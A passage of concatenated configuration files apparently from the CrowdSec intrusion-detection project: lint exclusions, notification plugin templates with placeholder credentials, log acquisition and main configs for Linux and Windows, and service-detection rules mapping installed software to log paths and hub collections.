        path: cmd/crowdsec/win_service.go
        text: 'deep-exit: .*'

      - linters:
          - revive
        path: cmd/crowdsec-cli/clisetup/setup/systemd_test.go
        text: 'deep-exit: .*'

      - linters:
          - gocritic
        path: cmd/crowdsec-cli
        text: 'rangeValCopy: .*'

      - linters:
          - gocritic
        path: pkg/(cticlient|hubtest)
        text: 'rangeValCopy: .*'

      - linters:
          - gocritic
        path: (.+)_test.go
        text: 'rangeValCopy: .*'

      - linters:
          - gocritic
        path: pkg/(appsec|acquisition|dumps|alertcontext|leakybucket|exprhelpers)
        text: 'rangeValCopy: .*'

      - linters:
          - usetesting
        path: pkg/apiserver/(.+)_test.go
        text: os.MkdirTemp.* could be replaced by t.TempDir.*

      - linters:
          - usetesting
        path: pkg/apiserver/(.+)_test.go
        text: os.CreateTemp.* could be replaced by os.CreateTemp.*

      - linters:
          - containedctx
        path: cmd/notification-file/main.go
        text: found a struct that contains a context.Context field

      - linters:
          - containedctx
        path: pkg/acquisition/modules/s3/source.go
        text: found a struct that contains a context.Context field

      # migrate over time

      - linters:
          - noctx
        path: pkg/parser/enrich_dns.go
        text: "net.LookupAddr must not be called"

      - linters:
          - noctx
        path: pkg/exprhelpers/helpers.go
        text: "net.LookupHost must not be called"

      - linters:
          - embeddedstructfieldcheck
        text: "embedded fields should be listed before regular fields"

      # TODO: remove when NodeConfig is not embedded anymore
      - linters:
          - staticcheck
        path: pkg/parser/(.+).go
        text: 'QF1008: could remove embedded field "NodeConfig" from selector'

    paths:
      - third_party$
      - builtin$
      - examples$

issues:
  max-issues-per-linter: 0
  max-same-issues: 0

formatters:
  settings:
    gci:
      sections:
        - standard
        - default
        - prefix(github.com/crowdsecurity)
        - prefix(github.com/crowdsecurity/crowdsec)

  exclusions:
    paths:
      - third_party$
      - builtin$
      - examples$

---

## File: cmd/notification-dummy/dummy.yaml

type: dummy         # Don't change
name: dummy_default # Must match the registered plugin in the profile

# One of "trace", "debug", "info", "warn", "error", "off"
log_level: info

# group_wait:         # Time to wait collecting alerts before relaying a message to this plugin, eg "30s"
# group_threshold:    # Amount of alerts that triggers a message before <group_wait> has expired, eg "10"
# max_retry:          # Number of attempts to relay messages to plugins in case of error
# timeout:            # Time to wait for response from the plugin before considering the attempt a failure, eg "10s"

#-------------------------
# plugin-specific options

# The following template receives a list of models.Alert objects
# The output goes in the logs and to a text file, if defined
format: |
  {{.|toJson}}

#
# output_file:        # notifications will be appended here. optional

---

# type: dummy
# name: dummy_second_notification
# ...

---

## File: cmd/notification-email/email.yaml

type: email           # Don't change
name: email_default   # Must match the registered plugin in the profile

# One of "trace", "debug", "info", "warn", "error", "off"
log_level: info

# group_wait:         # Time to wait collecting alerts before relaying a message to this plugin, eg "30s"
# group_threshold:    # Amount of alerts that triggers a message before <group_wait> has expired, eg "10"
# max_retry:          # Number of attempts to relay messages to plugins in case of error
timeout: 20s          # Time to wait for response from the plugin before considering the attempt a failure, eg "10s"

#-------------------------
# plugin-specific options

# The following template receives a list of models.Alert objects
# The output goes in the email message body
format: |
  <html>
  {{range . -}}
    {{$alert := . -}}
    {{range .Decisions -}}
      [{{.Value}}](https://www.whois.com/whois/{{.Value}}) will get **{{.Type}}** for next **{{.Duration}}** for triggering **{{.Scenario}}** on machine **{{$alert.MachineID}}**. [CrowdSec CTI](https://app.crowdsec.net/cti/{{.Value}})
    {{end -}}
  {{end -}}
  </html>

smtp_host:            # example: smtp.gmail.com
smtp_username:        # Replace with your actual username
smtp_password:        # Replace with your actual password
smtp_port:            # Common values are any of [25, 465, 587, 2525]
auth_type:            # Valid choices are "none", "crammd5", "login", "plain"
sender_name: "CrowdSec"
sender_email:         # example: foo@gmail.com
email_subject: "CrowdSec Notification"
receiver_emails:
# - email1@gmail.com
# - email2@gmail.com

# One of "ssltls", "starttls", "none"
encryption_type: "ssltls"

# If you need to set the HELO hostname:
# helo_host: "localhost"

# If the email server is hitting the default timeouts (10 seconds), you can increase them here
#
# connect_timeout: 10s
# send_timeout: 10s

---

# type: email
# name: email_second_notification
# ...

---

## File: cmd/notification-file/file.yaml

# Don't change this
type: file

name: file_default # this must match with the registered plugin in the profile
log_level: info # Options include: trace, debug, info, warn, error, off

# This template render all events as ndjson
format: |
  {{range . -}}
   { "time": "{{.StopAt}}", "program": "crowdsec", "alert": {{. | toJson }} }
  {{ end -}}

# group_wait: # duration to wait collecting alerts before sending to this plugin, eg "30s"
# group_threshold: # if alerts exceed this, then the plugin will be sent the message. eg "10"

#Use full path EG /tmp/crowdsec_alerts.json or %TEMP%\crowdsec_alerts.json
log_path: "/tmp/crowdsec_alerts.json"
rotate:
  enabled: true # Change to false if you want to handle log rotate on system basis
  max_size: 500 # in MB
  max_files: 5
  max_age: 5
  compress: true

---

## File: cmd/notification-http/http.yaml

type: http          # Don't change
name: http_default  # Must match the registered plugin in the profile

# One of "trace", "debug", "info", "warn", "error", "off"
log_level: info

# group_wait:         # Time to wait collecting alerts before relaying a message to this plugin, eg "30s"
# group_threshold:    # Amount of alerts that triggers a message before <group_wait> has expired, eg "10"
# max_retry:          # Number of attempts to relay messages to plugins in case of error
# timeout:            # Time to wait for response from the plugin before considering the attempt a failure, eg "10s"

#-------------------------
# plugin-specific options

# The following template receives a list of models.Alert objects
# The output goes in the http request body
format: |
  {{.|toJson}}

# The plugin will make requests to this url, eg:  https://www.example.com/
url: <HTTP_url>

# Any of the http verbs: "POST", "GET", "PUT"...
method: POST

# headers:
#   Authorization: token 0x64312313

# skip_tls_verification:  # true or false. Default is false

---

# type: http
# name: http_second_notification
# ...

---

## File: cmd/notification-sentinel/sentinel.yaml

type: sentinel          # Don't change
name: sentinel_default  # Must match the registered plugin in the profile

# One of "trace", "debug", "info", "warn", "error", "off"
log_level: info
# group_wait:         # Time to wait collecting alerts before relaying a message to this plugin, eg "30s"
# group_threshold:    # Amount of alerts that triggers a message before <group_wait> has expired, eg "10"
# max_retry:          # Number of attempts to relay messages to plugins in case of error
# timeout:            # Time to wait for response from the plugin before considering the attempt a failure, eg "10s"

#-------------------------
# plugin-specific options

# The following template receives a list of models.Alert objects
# The output goes in the http request body
format: |
  {{.|toJson}}

customer_id: XXX-XXX
shared_key: XXXXXXX
log_type: crowdsec

---

## File: cmd/notification-slack/slack.yaml

type: slack           # Don't change
name: slack_default   # Must match the registered plugin in the profile

# One of "trace", "debug", "info", "warn", "error", "off"
log_level: info

# group_wait:         # Time to wait collecting alerts before relaying a message to this plugin, eg "30s"
# group_threshold:    # Amount of alerts that triggers a message before <group_wait> has expired, eg "10"
# max_retry:          # Number of attempts to relay messages to plugins in case of error
# timeout:            # Time to wait for response from the plugin before considering the attempt a failure, eg "10s"

#-------------------------
# plugin-specific options

# The following template receives a list of models.Alert objects
# The output goes in the slack message
format: |
  {{range . -}}
  {{$alert := . -}}
  {{range .Decisions -}}
  {{if $alert.Source.Cn -}}
  :flag-{{$alert.Source.Cn}}: <https://www.whois.com/whois/{{.Value}}|{{.Value}}> will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine '{{$alert.MachineID}}'. <https://app.crowdsec.net/cti/{{.Value}}|CrowdSec CTI>{{end}}
  {{if not $alert.Source.Cn -}}
  :pirate_flag: <https://www.whois.com/whois/{{.Value}}|{{.Value}}> will get {{.Type}} for next {{.Duration}} for triggering {{.Scenario}} on machine '{{$alert.MachineID}}'.  <https://app.crowdsec.net/cti/{{.Value}}|CrowdSec CTI>{{end}}
  {{end -}}
  {{end -}}


webhook: <WEBHOOK_URL>

# API request data as defined by the Slack webhook API.
#channel: <CHANNEL_NAME>
#username: 
#icon_emoji: 
#icon_url: 

---

# type: slack
# name: slack_second_notification
# ...

---

## File: cmd/notification-splunk/splunk.yaml

type: splunk          # Don't change
name: splunk_default  # Must match the registered plugin in the profile

# One of "trace", "debug", "info", "warn", "error", "off"
log_level: info

# group_wait:         # Time to wait collecting alerts before relaying a message to this plugin, eg "30s"
# group_threshold:    # Amount of alerts that triggers a message before <group_wait> has expired, eg "10"
# max_retry:          # Number of attempts to relay messages to plugins in case of error
# timeout:            # Time to wait for response from the plugin before considering the attempt a failure, eg "10s"

#-------------------------
# plugin-specific options

# The following template receives a list of models.Alert objects
# The output goes in the splunk notification
format: |
  {{.|toJson}}

url: <SPLUNK_HTTP_URL>
token: <SPLUNK_TOKEN>
# ca_cert_path:           # CA certificate to verify the Splunk server, in addition to the system ones
# skip_tls_verification:  # true or false. Default is false

---

# type: splunk
# name: splunk_second_notification
# ...

---

## File: config/acquis.yaml

# TODO: explain this file, point to docs, recommend acquis.d
#  - docker
#  - deb,rpm -> cscli setup
#  - wizard.sh
#  - windows
#
# filenames:
#   - /var/log/nginx/*.log
#   - ./tests/nginx/nginx.log
# #this is not a syslog log, indicate which kind of logs it is
# labels:
#   type: nginx
# ---
# filenames:
#  - /var/log/auth.log
#  - /var/log/syslog
# labels:
#   type: syslog
# ---
# filename: /var/log/apache2/*.log
# labels:
#   type: apache2

---

## File: config/acquis_win.yaml

##RDP
source: wineventlog
event_channel: Security
event_ids:
 - 4625
 - 4623
event_level: information
labels:
 type: eventlog
---
##Firewall
filenames:
  - C:\Windows\System32\LogFiles\Firewall\*.log
labels:
  type: windows-firewall
---
##SQL Server
source: wineventlog
event_channel: Application
event_ids:
 - 18456
event_level: information
labels:
 type: eventlog
---
##IIS
use_time_machine: true
filenames:
  - C:\inetpub\logs\LogFiles\*\*.log
labels:
  type: iis

---

## File: config/config.yaml

common:
  daemonize: true
  log_media: file
  log_level: info
  log_dir: /var/log/
  log_max_size: 20
  compress_logs: true
  log_max_files: 10
config_paths:
  config_dir: /etc/crowdsec/
  data_dir: /var/lib/crowdsec/data/
  simulation_path: /etc/crowdsec/simulation.yaml
  hub_dir: /etc/crowdsec/hub/
  index_path: /etc/crowdsec/hub/.index.json
  notification_dir: /etc/crowdsec/notifications/
  plugin_dir: /usr/local/lib/crowdsec/plugins/
crowdsec_service:
  #console_context_path: /etc/crowdsec/console/context.yaml
  acquisition_path: /etc/crowdsec/acquis.yaml
  acquisition_dir: /etc/crowdsec/acquis.d
  parser_routines: 1
cscli:
  output: human
  color: auto
db_config:
  log_level: info
  type: sqlite
  db_path: /var/lib/crowdsec/data/crowdsec.db
  #max_open_conns: 100
  #user: 
  #password:
  #db_name:
  #host:
  #port:
  flush:
    max_items: 5000
    max_age: 7d
plugin_config:
  user: nobody # plugin process would be ran on behalf of this user
  group: nogroup # plugin process would be ran on behalf of this group
api:
  client:
    insecure_skip_verify: false
    credentials_path: /etc/crowdsec/local_api_credentials.yaml
  server:
    log_level: info
    listen_uri: 127.0.0.1:8080
    profiles_path: /etc/crowdsec/profiles.yaml
    console_path: /etc/crowdsec/console.yaml
    online_client: # Central API credentials (to push signals and receive bad IPs)
      credentials_path: /etc/crowdsec/online_api_credentials.yaml
    trusted_ips: # IP ranges, or IPs which can have admin API access
      - 127.0.0.1
      - ::1
#    tls:
#      cert_file: /etc/crowdsec/ssl/cert.pem
#      key_file: /etc/crowdsec/ssl/key.pem
prometheus:
  enabled: true
  level: full
  listen_addr: 127.0.0.1
  listen_port: 6060

---

## File: config/config_win.yaml

common:
  log_media: file
  log_level: info
  log_dir:  C:\ProgramData\CrowdSec\log\
config_paths:
  config_dir:  C:\ProgramData\CrowdSec\config\
  data_dir:  C:\ProgramData\CrowdSec\data\
  simulation_path:   C:\ProgramData\CrowdSec\config\simulation.yaml
  hub_dir:  C:\ProgramData\CrowdSec\hub\
  index_path:  C:\ProgramData\CrowdSec\hub\.index.json
  plugin_dir: C:\ProgramData\CrowdSec\plugins\
  notification_dir:  C:\ProgramData\CrowdSec\config\notifications\
crowdsec_service:
  #console_context_path: C:\ProgramData\CrowdSec\console\context.yaml
  acquisition_path:  C:\ProgramData\CrowdSec\config\acquis.yaml
  parser_routines: 1
cscli:
  output: human
db_config:
  log_level: info
  type: sqlite
  db_path:  C:\ProgramData\CrowdSec\data\crowdsec.db
  #user: 
  #password:
  #db_name:
  #host:
  #port:
  flush:
    max_items: 5000
    max_age: 7d
api:
  client:
    insecure_skip_verify: false
    credentials_path:  C:\ProgramData\CrowdSec\config\local_api_credentials.yaml
  server:
    log_level: info
    listen_uri: 127.0.0.1:8080
    profiles_path: C:\ProgramData\Crowdsec\config\profiles.yaml
    online_client: # Crowdsec API credentials (to push signals and receive bad IPs)
      credentials_path:  C:\ProgramData\CrowdSec\config\online_api_credentials.yaml
#    tls:
#      cert_file: /etc/crowdsec/ssl/cert.pem
#      key_file: /etc/crowdsec/ssl/key.pem
prometheus:
  enabled: true
  level: full
  listen_addr: 127.0.0.1
  listen_port: 6060

---

## File: config/config_win_no_lapi.yaml

common:
  log_media: file
  log_level: info
  log_dir:  C:\ProgramData\CrowdSec\log\
config_paths:
  config_dir:  C:\ProgramData\CrowdSec\config\
  data_dir:  C:\ProgramData\CrowdSec\data\
  simulation_path:   C:\ProgramData\CrowdSec\config\simulation.yaml
  hub_dir:  C:\ProgramData\CrowdSec\hub\
  index_path:  C:\ProgramData\CrowdSec\hub\.index.json
  plugin_dir: C:\ProgramData\CrowdSec\plugins\
  notification_dir:  C:\ProgramData\CrowdSec\config\notifications\
crowdsec_service:
  acquisition_path:  C:\ProgramData\CrowdSec\config\acquis.yaml
  parser_routines: 1
cscli:
  output: human
api:
  client:
    insecure_skip_verify: false
    credentials_path:  C:\ProgramData\CrowdSec\config\local_api_credentials.yaml
prometheus:
  enabled: true
  level: full
  listen_addr: 127.0.0.1
  listen_port: 6060

---

## File: config/console.yaml

share_manual_decisions: false
share_custom: true
share_tainted: true
share_context: false

---

## File: config/context.yaml

[Empty file]

---

## File: config/detect.yaml

---
# Main block defining all service detection rules
# Since it's a map, the order of evaluation is not guaranteed.
detect:

  # Detect apache2, or detect log files directly (deb-based systems)
  #
  # By default Systemd collects only service related messages, access logs are on file.
  apache2-file-apache2:
    when:
      # Check if apache2 is installed (enabled or not) or the log files exist
      - Systemd.UnitInstalled("apache2.service") or len(Path.Glob("/var/log/apache2/*.log")) > 0
      # A direct way to detect distribution family, usually not necessary.
      # full list at https://github.com/shirou/gopsutil/blob/master/host/host_linux.go
      # Use Host.Platform to disambiguate "ubuntu" from "debian"
      # - Host.PlatformFamily == "debian"
    hub_spec:
      # If the rules match, install the following items
      collections:
        - crowdsecurity/apache2
    acquisition_spec:
      # If the rules match, generate an acquisition file named "setup.apache2.yaml"
      filename: apache2.yaml
      datasource:
        source: file
        filenames:
          - /var/log/apache2/*.log
        labels:
          type: apache2

  # Detect apache2, or detect log files directly (rpm-based systems)
  apache2-file-httpd:
    when:
      - Systemd.UnitInstalled("httpd.service") or len(Path.Glob("/var/log/httpd/*.log")) > 0
      # a direct way to detect distribution family (usually not necessary)
      # - Host.PlatformFamily in ['rhel', 'fedora', 'suse']
    hub_spec:
      collections:
        - crowdsecurity/apache2
    acquisition_spec:
      filename: apache2.yaml
      datasource:
        source: file
        filenames:
          - /var/log/httpd/*.log
        labels:
          type: apache2

  # Asterisk PBX
  # By default Systemd collects only service related messages, access logs are on file.
  asterisk:
    when:
      - Systemd.UnitInstalled("asterisk.service") or len(Path.Glob("/var/log/asterisk/*.log")) > 0
    hub_spec:
      collections:
        - crowdsecurity/asterisk
    acquisition_spec:
      filename: asterisk.yaml
      datasource:
        source: file
        labels:
          type: asterisk
        filenames:
          - /var/log/asterisk/*.log

  # Caddy web server
  #
  # By default the caddy packages don't contain a "log" directive in the Caddyfile,
  # but the deb package has an empty /var/log/caddy directory so we look for files there
  # (the rpm doesn't have it).
  # If no log file is found, there could be a bare "log" directive which means
  # logs go to stderr and are captured by systemd.
  # It is possible that logs would go to file but no access has been logged yet.
  #
  # Caddy configuration can be retrieved at http://localhost:2019/config/
  caddy-journal:
    when:
      - Systemd.UnitInstalled("caddy.service")
      - len(Path.Glob("/var/log/caddy/*.log")) == 0
    hub_spec:
      collections:
        - crowdsecurity/caddy
    acquisition_spec:
      filename: caddy.yaml
      datasource:
        source: journalctl
        labels:
          type: syslog
        journalctl_filter:
          - "_SYSTEMD_UNIT=caddy.service"

  caddy-file:
    when:
      - len(Path.Glob("/var/log/caddy/*.log")) > 0
    hub_spec:
      collections:
        - crowdsecurity/caddy
    acquisition_spec:
      filename: caddy.yaml
      datasource:
        source: file
        labels:
          type: caddy
        filenames:
          - /var/log/caddy/*.log

  # Dovecot IMAP/POP3 server
  #
  # Dovecot configuration can be retrieved with "doveconf -n"
  # and "doveadm log find"
  #
  # On deb, this includes /var/log/syslog which is already monitored by the linux collection,
  # so we don't need an additional acquisition.
  # Reading from mail.log and mail.err would process the same events twice.
  #
  # On rpm, we have to monitor maillog or mail.log but we can't use them to detect the program,
  # because it could be from postfix.
  dovecot:
    when:
      - Systemd.UnitInstalled("dovecot.service")
    hub_spec:
      collections:
        - crowdsecurity/dovecot
    acquisition_spec:
      filename: dovecot.yaml
      datasource:
        source: file
        labels:
          type: syslog
        filenames:
          - /var/log/maillog

  # Nginx
  nginx:
    when:
      # if nginx is still detected after removing the "nginx" package,
      # remove the nginx-common package too.
      - Systemd.UnitInstalled("nginx.service") or len(Path.Glob("/var/log/nginx/*.log")) > 0
    hub_spec:
      collections:
        - crowdsecurity/nginx
    acquisition_spec:
      filename: nginx.yaml
      datasource:
        source: file
        labels:
          type: nginx
        filenames:
          - /var/log/nginx/*.log

  # OpenResty (nginx distribution)
  openresty:
    when:
      - Systemd.UnitInstalled("openresty.service") or len(Path.Glob("/usr/local/openresty/nginx/logs/*.log")) > 0
    hub_spec:
      collections:
        - crowdsecurity/nginx
    acquisition_spec:
      filename: openresty.yaml
      datasource:
        source: file
        labels:
          type: nginx
        filenames:
          - /usr/local/openresty/nginx/logs/*.log

  # PostgreSQL
  postgres:
    when:
      - Systemd.UnitInstalled("postgresql.service") or (len(Path.Glob("/var/log/postgresql/*.log")) > 0) or (len(Path.Glob("/var/lib/pgsql/data/log/*.log")) > 0)
    hub_spec:
      collections:
        - crowdsecurity/pgsql
    acquisition_spec:
      filename: pgsql.yaml
      datasource:
        source: file
        labels:
          type: postgres
        filenames:
          # deb uses /var/log
          - /var/log/postgresql/*.log
          # rpm uses /var/lib
          - /var/lib/pgsql/data/log/*.log

  # Postfix mail server
  #
  # Postfix configuration can be queried with
  # "postconf maillog_file syslog_facility syslog_name"
  #
  # By default maillog_file = "" and syslog_facility="mail" which
  # goes to either /var/log/maillog or /var/log/mail.log
  postfix:
    when:
      - Systemd.UnitInstalled("postfix.service")
    hub_spec:
      collections:
        - crowdsecurity/postfix
    acquisition_spec:
      filename: postfix.yaml
      datasource:
        source: file
        labels:
          type: syslog
        filenames:
          - /var/log/mail.log
          - /var/log/maillog

  #
  # Openssh
  #

  # on deb-based systems: the name of the unit is ssh.service,
  # while sshd.service is an alias that can't be used to read the journal
  openssh-journal-ssh:
    when:
      # ubuntu-minimal and recent debians don't install rsyslog by default
      - Systemd.UnitInstalled("ssh.service")
      - not Path.Exists("/var/log/auth.log")
      - not Path.Exists("/var/log/secure")
      - not Path.Exists("/var/log/messages")
    hub_spec:
      collections:
        - crowdsecurity/sshd
    acquisition_spec:
      filename: sshd.yaml
      datasource:
        source: journalctl
        labels:
          type: syslog
        journalctl_filter:
          - "_SYSTEMD_UNIT=ssh.service"

  # on rpm-based systems and others: the name of the unit is sshd.service
  # and we have to skip this if ssh.service also exists
  openssh-journal-sshd:
    when:
      - Systemd.UnitInstalled("sshd.service")
      - not Systemd.UnitInstalled("ssh.service")
      - not Path.Exists("/var/log/auth.log")
      - not Path.Exists("/var/log/secure")
      - not Path.Exists("/var/log/messages")
    hub_spec:
      collections:
        - crowdsecurity/sshd
    acquisition_spec:
      filename: sshd.yaml
      datasource:
        source: journalctl
        labels:
          type: syslog
        journalctl_filter:
          - "_SYSTEMD_UNIT=sshd.service"

  # Acquire rsyslog files if they exist (some distributions have them in /var/log/messages,
  # already acquired by the linux service below)
  openssh-file:
    when:
      - Path.Exists("/var/log/auth.log") or Path.Exists("/var/log/secure")
    hub_spec:
      collections:
        - crowdsecurity/sshd
    acquisition_spec:
      filename: sshd.yaml
      datasource:
        source: file
        labels:
          type: syslog
        filenames:
          - /var/log/auth.log
          - /var/log/secure

  # HAProxy load balancer
  #
  # Logs go to syslog, then
  # - on deb, they are dispatched to /var/log/haproxy.log (via /etc/rsyslog.d/49-haproxy.conf)
  # - on rpm, the dispatch is missing (default -> /var/log/messages), but can be added with,
  #   assuming rsyslog:
  #
  # # /etc/rsyslog.d/10-haproxy.conf
  # module(load="imudp")
  # input(type="imudp" port="514")
  # local2.*    /var/log/haproxy.log
  # & stop

  haproxy:
    when:
      - Systemd.UnitInstalled("haproxy.service") or len(Path.Glob("/var/log/haproxy.log")) > 0
    hub_spec:
      collections:
        - crowdsecurity/haproxy
    acquisition_spec:
      filename: haproxy.yaml
      datasource:
        source: file
        labels:
          type: haproxy
        filenames:
          - /var/log/haproxy.log

  # Suricata IDS/IPS
  suricata:
    when:
      - Systemd.UnitInstalled("suricata.service") or Path.Exists("/var/log/suricata/eve.json")
    hub_spec:
      collections:
        - crowdsecurity/suricata
    acquisition_spec:
      filename: suricata.yaml
      datasource:
        source: file
        labels:
          type: suricata-evelogs
        filenames:
          - /var/log/suricata/eve.json

  # Samba server
  samba:
    when:
      # deb -> smbd.service
      # rpm -> smb.service
      - Systemd.UnitInstalled("smbd.service") or Systemd.UnitInstalled("smb.service") or Systemd.UnitInstalled("smb.service") or len(Path.Glob("/var/log/samba/*.log")) > 0 or len(Path.Glob("/var/log/samba/log.*")) > 0
    hub_spec:
      collections:
        - crowdsecurity/smb
    acquisition_spec:
      filename: smb.yaml
      datasource:
        source: file
        labels:
          type: smb
        filenames:
          # authentication failures go to syslog (/var/log/syslog, /var/log/messages,
          # already acquired by linux collection)
          - /var/log/samba/*.log
          - /var/log/samba/log.*

  # MariaDB server
  mariadb:
    when:
      - Systemd.UnitInstalled("mariadb.service") or Path.Exists("/var/log/mariadb/mariadb.log")
      # We can't detect error.log directly because it could come from mysql
    hub_spec:
      collections:
        - crowdsecurity/mariadb
    acquisition_spec:
      filename: mariadb.yaml
      datasource:
        source: file
        labels:
          type: mysql
        filenames:
          # deb: by default, errors go to syslog and are acquired by the linux collection.
          # They also go to the systemd journal (not acquired here to avoid redundancy).
          # We add file acquisition just in case, with the location referenced in /etc/mysql/mariadb.conf.d/50-server.cnf
          - /var/log/mysql/error.log
          # rpm: errors go to file by default
          - /var/log/mariadb/mariadb.log

  # MySQL server
  mysql:
    when:
      # deb: mysql.service
      # rpm: mysqld.service
      - Systemd.UnitInstalled("mysql.service") or Systemd.UnitInstalled("mysqld.service") or Path.Exists("/var/log/mysql/mysqld.log")
      # We can't detect error.log directly because it could come from mariadb
    hub_spec:
      collections:
        - crowdsecurity/mysql
    acquisition_spec:
      filename: mysql.yaml
      datasource:
        source: file
        labels:
          type: mysql
        filenames:
          # deb
          - /var/log/mysql/error.log
          # rpm
          - /var/log/mysql/mysqld.log

  # Audit daemon
  #
  # This should be the same for deb and rpm.
  # Does not go through syslog.
  auditd:
    when:
      - Systemd.UnitInstalled("auditd.service") or len(Path.Glob("/var/log/audit/*.log")) > 0
    hub_spec:
      collections:
        - crowdsecurity/auditd
    acquisition_spec:
      filename: auditd.yaml
      datasource:
        source: file
        labels:
          type: auditd
        filenames:
          - /var/log/audit/*.log

  # There is no standard systemd unit for telnetd, so
  # we rely on file detection only.
  telnet:
    when:
      - len(Path.Glob("/var/log/telnetd*.log")) > 0
    hub_spec:
      scenarios:
        - crowdsecurity/telnet-bf
    acquisition_spec:
      filename: telnet.yaml
      datasource:
        source: file
        labels:
          type: telnet
        filenames:
          - /var/log/telnetd*.log

  windows_iis:
    when:
      - Windows.ServiceEnabled("W3SVC")
    hub_spec:
      collections:
        - crowdsecurity/iis
    acquisition_spec:
      filename: iis.yaml
      datasource:
        source: file
        use_time_machine: true
        filenames:
          - C:\inetpub\logs\LogFiles\*\*.log
        labels:
          type: iis

  windows_sqlserver:
    when:
      - Windows.ServiceEnabled("MSSQLSERVER")
    hub_spec:
      collections:
        - crowdsecurity/mssql
    acquisition_spec:
      filename: mssql.yaml
      datasource:
        source: wineventlog
        event_channel: Application
        event_ids:
          - 18456
        event_level: information
        labels:
          type: eventlog

  #
  # Operating System detection
  #

  linux:
    when:
      - Host.OS == "linux"
    hub_spec:
      collections:
        - crowdsecurity/linux
    acquisition_spec:
      filename: linux.yaml
      datasource:
        source: file
        labels:
          type: syslog
        filenames:
          # collect events that were not dispatched by facility
          # (syslog or messages depending on the distribution)
          # rpm
          - /var/log/messages
          # deb
          - /var/log/syslog
          - /var/log/kern.log

  freebsd:
    when:
      - Host.OS == "freebsd"
    hub_spec:
      collections:
        - crowdsecurity/freebsd

  windows:
    when:
      - Host.OS == "windows"
    hub_spec:
      collections:
        - crowdsecurity/windows
    acquisition_spec:
      filename: windows_auth.yaml
      datasource:
        source: wineventlog
        event_channel: Security
        event_ids:
          - 4625
          - 4623
        event_level: information
        labels:
          type: eventlog

  # anti-lockout
  whitelists:
    hub_spec:
      parsers:
        - crowdsecurity/whitelists

# ------------------------------------------------
# The following have not been extensively tested.
# Feedback is welcome.
# ------------------------------------------------

## Emby media server
#emby-systemd:
#  when:
#    - Systemd.UnitInstalled("emby-server.service")
#  hub_spec:
#    collections:
#      - LePresidente/emby
#  acquisition_spec:
#    filename: emby.yaml
#    datasource:
#      source: file
#      labels:
#        type: emby
#      filenames:
#        - /var/log/embyserver.txt

## Endlessh SSH tarpit
#endlessh-systemd:
#  when:
#    - Systemd.UnitInstalled("endlessh.service")
#  hub_spec:
#    collections:
#      - crowdsecurity/endlessh
#  acquisition_spec:
#    filename: endlessh.yaml
#    datasource:
#      source: journalctl
#      labels:
#        type: endlessh
#      # XXX this? or /var/log/syslog?
#      journalctl_filter:
#        - "_SYSTEMD_UNIT=endlessh.service"

## Odoo ERP
#odoo-systemd:
#  when:
#    - Systemd.UnitInstalled("odoo.service")
#  hub_spec:
#    collections:
#      - crowdsecurity/odoo
#  acquisition_spec:
#    filename: odoo.yaml
#    datasource:
#      source: file
#      labels:
#        type: odoo
#      filenames:
#        - /var/log/odoo/*.log

## This only works on deb-based systems. On other distributions, the
## application is run from the release tarball and the log location depends on
## the location it's run from.
#
## Ombi media request system
#ombi-systemd:
#  when:
#    - Systemd.UnitInstalled("ombi.service")
#    - Host.PlatformFamily == "debian"
#  hub_spec:
#    collections:
#      - LePresidente/ombi
#  acquisition_spec:
#    filename: ombi.yaml
#    datasource:
#      source: file
#      labels:
#        type: ombi
#      filenames:
#        - /var/log/ombi/log-*.txt
        #
## Gitea Git server
#gitea-snap:
#  when:
#    - Systemd.UnitInstalled("snap.gitea.web.service")
#  hub_spec:
#    collections:
#      - LePresidente/gitea
#  acquisition_spec:
#    filename: gitea.yaml
#    datasource:
#      source: journalctl
#      labels:
#        type: gitea
#      journalctl_filter:
#        - "_SYSTEMD_UNIT=gitea.service"
#
#gitea-journal:
#  when:
#    - Systemd.UnitInstalled("gitea.service")
#    - Systemd.UnitLogsToJournal("gitea.service")
#  hub_spec:
#    collections:
#      - LePresidente/gitea
#  acquisition_spec:
#    filename: gitea.yaml
#    datasource:
#      source: journalctl
#      labels:
#        type: gitea
#      journalctl_filter:
#        - "_SYSTEMD_UNIT=gitea.service"
#
#gitea-file:
#  when:
#    - Systemd.UnitInstalled("gitea.service") or Path.Exists("/var/log/gitea.log") or len(Path.Glob("/var/log/gitea/*.log")) > 0
#    - not Systemd.UnitLogsToJournal("gitea.service")
#  hub_spec:
#    collections:
#      - LePresidente/gitea
#  acquisition_spec:
#    filename: gitea.yaml
#    datasource:
#      source: file
#      labels:
#        type: gitea
#      filenames:
#        - /var/log/gitea.log
#        - /var/log/gitea/*.log
#
## ProFTPD FTP server
#proftpd-journal:
#  when:
#    - Systemd.UnitInstalled("proftpd.service")
#    - Systemd.UnitLogsToJournal("proftpd.service")
#  hub_spec:
#    collections:
#      - crowdsecurity/proftpd
#  acquisition_spec:
#    filename: proftpd.yaml
#    datasource:
#      source: journalctl
#      labels:
#        type: proftpd
#      journalctl_filter:
#        - "_SYSTEMD_UNIT=proftpd.service"
#
#proftpd-file:
#  when:
#    - Systemd.UnitInstalled("proftpd.service") or len(Path.Glob("/var/log/proftpd/*.log")) > 0
#    - not Systemd.UnitLogsToJournal("proftpd.service")
#  hub_spec:
#    collections:
#      - crowdsecurity/proftpd
#  acquisition_spec:
#    filename: proftpd.yaml
#    datasource:
#      source: file
#      labels:
#        type: proftpd
#      filenames:
#        - /var/log/proftpd/*.log
#
## Pure-FTPd server
#pureftpd-journal:
#  when:
#    - Systemd.UnitInstalled("pure-ftpd.service")
#    - Systemd.UnitLogsToJournal("pure-ftpd.service")
#  hub_spec:
#    collections:
#      - fulljackz/pureftpd
#  acquisition_spec:
#    filename: pureftpd.yaml
#    datasource:
#      source: journalctl
#      labels:
#        type: pure-ftpd
#      journalctl_filter:
#        - "_SYSTEMD_UNIT=pure-ftpd.service"
#
#pureftpd-file:
#  when:
#    - Systemd.UnitInstalled("pure-ftpd.service") or len(Path.Glob("/var/log/pure-ftpd/*.log")) > 0
#    - not Systemd.UnitLogsToJournal("pure-ftpd.service")
#  hub_spec:
#    collections:
#      - fulljackz/pureftpd
#  acquisition_spec:
#    filename: pureftpd.yaml
#    datasource:
#      source: file
#      labels:
#        type: pure-ftpd
#      filenames:
#        - /var/log/pure-ftpd/*.log
#
## vsftpd FTP server
#vsftpd-journal:
#  when:
#    - Systemd.UnitInstalled("vsftpd.service")
#    - Systemd.UnitLogsToJournal("vsftpd.service")
#  hub_spec:
#    collections:
#      - crowdsecurity/vsftpd
#  acquisition_spec:
#    filename: vsftpd.yaml
#    datasource:
#      source: journalctl
#      labels:
#        type: vsftpd
#      journalctl_filter:
